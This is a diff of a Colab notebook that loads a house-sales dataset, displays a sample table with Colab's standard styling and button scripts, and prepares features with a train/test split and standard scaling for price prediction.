+              "      <td>470101.0</td>\n",
+              "      <td>4</td>\n",
+              "      <td>2.50</td>\n",
+              "      <td>2320</td>\n",
+              "      <td>7800</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>2320</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1986</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98028</td>\n",
+              "      <td>47.7738</td>\n",
+              "      <td>-122.266</td>\n",
+              "      <td>2090</td>\n",
+              "      <td>5721</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>113</th>\n",
+              "      <td>329950.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.75</td>\n",
+              "      <td>2080</td>\n",
+              "      <td>5969</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>2</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1080</td>\n",
+              "      <td>1000</td>\n",
+              "      <td>1971</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98108</td>\n",
+              "      <td>47.5474</td>\n",
+              "      <td>-122.295</td>\n",
+              "      <td>2090</td>\n",
+              "      <td>5500</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>5618</th>\n",
+              "      <td>435000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.75</td>\n",
+              "      <td>2030</td>\n",
+              "      <td>13700</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1630</td>\n",
+              "      <td>400</td>\n",
+              "      <td>1976</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98011</td>\n",
+              "      <td>47.7726</td>\n",
+              "      <td>-122.197</td>\n",
+              "      <td>2120</td>\n",
+              "      <td>11200</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>5678</th>\n",
+              "      <td>575000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.75</td>\n",
+              "      <td>1720</td>\n",
+              "      <td>5956</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1720</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1981</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98033</td>\n",
+              "      <td>47.6875</td>\n",
+              "      <td>-122.202</td>\n",
+              "      <td>1620</td>\n",
+              "      <td>9324</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>14663</th>\n",
+              "      <td>630000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.00</td>\n",
+              "      <td>1590</td>\n",
+              "      <td>4080</td>\n",
+              "      <td>1.5</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1590</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1922</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98105</td>\n",
+              "      <td>47.6620</td>\n",
+              "      <td>-122.326</td>\n",
+              "      <td>1570</td>\n",
+              "      <td>4080</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>12293</th>\n",
+              "      <td>198000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.75</td>\n",
+              "      <td>1300</td>\n",
+              "      <td>6318</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1300</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1980</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98001</td>\n",
+              "      <td>47.2752</td>\n",
+              "      <td>-122.251</td>\n",
+              "      <td>1150</td>\n",
+              "      <td>8002</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>4090</th>\n",
+              "      <td>462500.0</td>\n",
+              "      <td>2</td>\n",
+              "      <td>2.00</td>\n",
+              "      <td>1540</td>\n",
+              "      <td>7290</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1540</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1948</td>\n",
+              "      <td>1983</td>\n",
+              "      <td>98136</td>\n",
+              "      <td>47.5510</td>\n",
+              "      <td>-122.395</td>\n",
+              "      <td>1540</td>\n",
+              "      <td>7072</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div>\n",
+              "    <div class=\"colab-df-buttons\">\n",
+              "\n",
+              "  <div class=\"colab-df-container\">\n",
+              "    <button class=\"colab-df-convert\" onclick=\"convertToInteractive('df-bc953201-de09-4b6a-b1d9-8ca26a1b2079')\"\n",
+              "            title=\"Convert this dataframe to an interactive table.\"\n",
+              "            style=\"display:none;\">\n",
+              "\n",
+              "  <svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24px\" viewBox=\"0 -960 960 960\">\n",
+              "    <path d=\"M120-120v-720h720v720H120Zm60-500h600v-160H180v160Zm220 220h160v-160H400v160Zm0 220h160v-160H400v160ZM180-400h160v-160H180v160Zm440 0h160v-160H620v160ZM180-180h160v-160H180v160Zm440 0h160v-160H620v160Z\"/>\n",
+              "  </svg>\n",
+              "    </button>\n",
+              "\n",
+              "  <style>\n",
+              "    .colab-df-container {\n",
+              "      display:flex;\n",
+              "      gap: 12px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert {\n",
+              "      background-color: #E8F0FE;\n",
+              "      border: none;\n",
+              "      border-radius: 50%;\n",
+              "      cursor: pointer;\n",
+              "      display: none;\n",
+              "      fill: #1967D2;\n",
+              "      height: 32px;\n",
+              "      padding: 0 0 0 0;\n",
+              "      width: 32px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert:hover {\n",
+              "      background-color: #E2EBFA;\n",
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+              "      fill: #174EA6;\n",
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+              "\n",
+              "    .colab-df-buttons div {\n",
+              "      margin-bottom: 4px;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert {\n",
+              "      background-color: #3B4455;\n",
+              "      fill: #D2E3FC;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert:hover {\n",
+              "      background-color: #434B5C;\n",
+              "      box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "      filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "      fill: #FFFFFF;\n",
+              "    }\n",
+              "  </style>\n",
+              "\n",
+              "    <script>\n",
+              "      const buttonEl =\n",
+              "        document.querySelector('#df-bc953201-de09-4b6a-b1d9-8ca26a1b2079 button.colab-df-convert');\n",
+              "      buttonEl.style.display =\n",
+              "        google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "      async function convertToInteractive(key) {\n",
+              "        const element = document.querySelector('#df-bc953201-de09-4b6a-b1d9-8ca26a1b2079');\n",
+              "        const dataTable =\n",
+              "          await google.colab.kernel.invokeFunction('convertToInteractive',\n",
+              "                                                    [key], {});\n",
+              "        if (!dataTable) return;\n",
+              "\n",
+              "        const docLinkHtml = 'Like what you see? Visit the ' +\n",
+              "          '<a target=\"_blank\" href=https://colab.research.google.com/notebooks/data_table.ipynb>data table notebook</a>'\n",
+              "          + ' to learn more about interactive tables.';\n",
+              "        element.innerHTML = '';\n",
+              "        dataTable['output_type'] = 'display_data';\n",
+              "        await google.colab.output.renderOutput(dataTable, element);\n",
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+              "        docLink.innerHTML = docLinkHtml;\n",
+              "        element.appendChild(docLink);\n",
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+              "\n",
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+              "      <button class=\"colab-df-quickchart\" onclick=\"quickchart('df-e8afaf67-4453-42cd-9aab-8985a8f4800e')\"\n",
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+              "</svg>\n",
+              "      </button>\n",
+              "\n",
+              "<style>\n",
+              "  .colab-df-quickchart {\n",
+              "      --bg-color: #E8F0FE;\n",
+              "      --fill-color: #1967D2;\n",
+              "      --hover-bg-color: #E2EBFA;\n",
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+              "      --disabled-bg-color: #DDD;\n",
+              "  }\n",
+              "\n",
+              "  [theme=dark] .colab-df-quickchart {\n",
+              "      --bg-color: #3B4455;\n",
+              "      --fill-color: #D2E3FC;\n",
+              "      --hover-bg-color: #434B5C;\n",
+              "      --hover-fill-color: #FFFFFF;\n",
+              "      --disabled-bg-color: #3B4455;\n",
+              "      --disabled-fill-color: #666;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart {\n",
+              "    background-color: var(--bg-color);\n",
+              "    border: none;\n",
+              "    border-radius: 50%;\n",
+              "    cursor: pointer;\n",
+              "    display: none;\n",
+              "    fill: var(--fill-color);\n",
+              "    height: 32px;\n",
+              "    padding: 0;\n",
+              "    width: 32px;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart:hover {\n",
+              "    background-color: var(--hover-bg-color);\n",
+              "    box-shadow: 0 1px 2px rgba(60, 64, 67, 0.3), 0 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "    fill: var(--button-hover-fill-color);\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart-complete:disabled,\n",
+              "  .colab-df-quickchart-complete:disabled:hover {\n",
+              "    background-color: var(--disabled-bg-color);\n",
+              "    fill: var(--disabled-fill-color);\n",
+              "    box-shadow: none;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-spinner {\n",
+              "    border: 2px solid var(--fill-color);\n",
+              "    border-color: transparent;\n",
+              "    border-bottom-color: var(--fill-color);\n",
+              "    animation:\n",
+              "      spin 1s steps(1) infinite;\n",
+              "  }\n",
+              "\n",
+              "  @keyframes spin {\n",
+              "    0% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "      border-left-color: var(--fill-color);\n",
+              "    }\n",
+              "    20% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    30% {\n",
+              "      border-color: transparent;\n",
+              "      border-left-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    40% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-top-color: var(--fill-color);\n",
+              "    }\n",
+              "    60% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "    }\n",
+              "    80% {\n",
+              "      border-color: transparent;\n",
+              "      border-right-color: var(--fill-color);\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "    90% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
+              "    }\n",
+              "  }\n",
+              "</style>\n",
+              "\n",
+              "      <script>\n",
+              "        async function quickchart(key) {\n",
+              "          const quickchartButtonEl =\n",
+              "            document.querySelector('#' + key + ' button');\n",
+              "          quickchartButtonEl.disabled = true;  // To prevent multiple clicks.\n",
+              "          quickchartButtonEl.classList.add('colab-df-spinner');\n",
+              "          try {\n",
+              "            const charts = await google.colab.kernel.invokeFunction(\n",
+              "                'suggestCharts', [key], {});\n",
+              "          } catch (error) {\n",
+              "            console.error('Error during call to suggestCharts:', error);\n",
+              "          }\n",
+              "          quickchartButtonEl.classList.remove('colab-df-spinner');\n",
+              "          quickchartButtonEl.classList.add('colab-df-quickchart-complete');\n",
+              "        }\n",
+              "        (() => {\n",
+              "          let quickchartButtonEl =\n",
+              "            document.querySelector('#df-e8afaf67-4453-42cd-9aab-8985a8f4800e button');\n",
+              "          quickchartButtonEl.style.display =\n",
+              "            google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "        })();\n",
+              "      </script>\n",
+              "    </div>\n",
+              "\n",
+              "    </div>\n",
+              "  </div>\n"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "dataframe",
+              "summary": "{\n  \"name\": \"df\",\n  \"rows\": 9,\n  \"fields\": [\n    {\n      \"column\": \"price\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 126615.63191780249,\n        \"min\": 198000.0,\n        \"max\": 630000.0,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          198000.0,\n          397000.0,\n          575000.0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bedrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 2,\n        \"max\": 4,\n        \"num_unique_values\": 3,\n        \"samples\": [\n          2,\n          3,\n          4\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bathrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.6846531968814576,\n        \"min\": 1.0,\n        \"max\": 3.5,\n        \"num_unique_values\": 5,\n        \"samples\": [\n          3.5,\n          1.0,\n          2.5\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 364,\n        \"min\": 1300,\n        \"max\": 2320,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          1300,\n          1360,\n          1720\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 3361,\n        \"min\": 1275,\n        \"max\": 13700,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          6318,\n          1275,\n          5956\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"floors\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.5,\n        \"min\": 1.0,\n        \"max\": 2.0,\n        \"num_unique_values\": 3,\n        \"samples\": [\n          1.0,\n          2.0,\n          1.5\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"waterfront\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 0,\n        \"max\": 0,\n        \"num_unique_values\": 1,\n        \"samples\": [\n          0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"view\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 0,\n        \"max\": 2,\n        \"num_unique_values\": 2,\n        \"samples\": [\n          2\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"condition\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 3,\n        \"max\": 3,\n        \"num_unique_values\": 1,\n        \"samples\": [\n          3\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"grade\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 7,\n        \"max\": 8,\n        \"num_unique_values\": 2,\n        \"samples\": [\n          7\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_above\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 360,\n        \"min\": 1080,\n        \"max\": 2320,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          1300\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_basement\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 338,\n        \"min\": 0,\n        \"max\": 1000,\n        \"num_unique_values\": 4,\n        \"samples\": [\n          120\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_built\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 26,\n        \"min\": 1922,\n        \"max\": 2007,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          1980\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_renovated\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 661,\n        \"min\": 0,\n        \"max\": 1983,\n        \"num_unique_values\": 2,\n        \"samples\": [\n          1983\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"zipcode\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 54,\n        \"min\": 98001,\n        \"max\": 98144,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          98001\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"lat\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.15414425422671812,\n        \"min\": 47.2752,\n        \"max\": 47.7738,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          47.2752\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"long\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.10900458705944303,\n        \"min\": -122.395,\n        \"max\": -122.012,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          -122.251\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 360,\n        \"min\": 1150,\n        \"max\": 2120,\n        \"num_unique_values\": 8,\n        \"samples\": [\n          1360\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 2959,\n        \"min\": 1275,\n        \"max\": 11200,\n        \"num_unique_values\": 9,\n        \"samples\": [\n          8002\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    }\n  ]\n}"
+            }
+          },
+          "metadata": {},
+          "execution_count": 312
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "df.shape"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "dpZvFkbaMsZp",
+        "outputId": "b02ccfa8-355f-47fd-cccb-2086eef5a9e0"
+      },
+      "id": "dpZvFkbaMsZp",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "(21613, 19)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 313
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "x=df.drop('price',axis=1)\n",
+        "y=df['price']"
+      ],
+      "metadata": {
+        "id": "BwbUZC8MMuCI"
+      },
+      "id": "BwbUZC8MMuCI",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "# **Train_Test_split**\n"
+      ],
+      "metadata": {
+        "id": "JtYxYcoFouzd"
+      },
+      "id": "JtYxYcoFouzd"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "from sklearn.model_selection import train_test_split\n",
+        "x_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.2,random_state=42)"
+      ],
+      "metadata": {
+        "id": "PcJR7OfGNCwx"
+      },
+      "id": "PcJR7OfGNCwx",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "from sklearn.preprocessing import StandardScaler\n",
+        "scaler=StandardScaler()\n",
+        "x_train=scaler.fit_transform(x_train)\n",
+        "x_test=scaler.transform(x_test)"
+      ],
+      "metadata": {
+        "id": "7xZZ74W3NaeI"
+      },
+      "id": "7xZZ74W3NaeI",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "x_test.shape"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "qrspjeL9Nhlo",
+        "outputId": "8e84faac-63db-4e60-b4c1-7dfe2e544694"
+      },
+      "id": "qrspjeL9Nhlo",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "(4323, 18)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 317
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "x_train"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "KYUx72J_NljY",
+        "outputId": "8cd27ad2-92d0-4071-dd5e-9922d433ce4b"
+      },
+      "id": "KYUx72J_NljY",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "array([[-0.39526335, -0.47445144, -0.32393262, ...,  0.44228847,\n",
+              "         1.12607326,  0.01344043],\n",
+              "       [-1.46896378, -1.45258323, -1.18365301, ..., -0.53995821,\n",
+              "        -1.04652268, -0.28066159],\n",
+              "       [-0.39526335, -1.45258323, -1.09547656, ..., -0.86025604,\n",
+              "        -1.19331971, -0.1789339 ],\n",
+              "       ...,\n",
+              "       [-0.39526335,  0.50368036,  0.05081729, ...,  1.29641601,\n",
+              "        -0.42997519, -0.36604019],\n",
+              "       [-2.54266422, -1.77862716, -1.8670205 , ..., -0.77484328,\n",
+              "        -1.19331971,  0.08265159],\n",
+              "       [ 0.67843709,  0.50368036,  1.16404497, ...,  0.81952813,\n",
+              "         1.52242522, -0.24443927]])"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 318
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "x_train.shape"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "6rAlIz7iNpae",
+        "outputId": "5701c8c6-97b6-4548-ba4a-201609cb8daa"
+      },
+      "id": "6rAlIz7iNpae",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "(17290, 18)"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 319
+        }
+      ]
+    },
     {
-     "data": {
-      "image/png": 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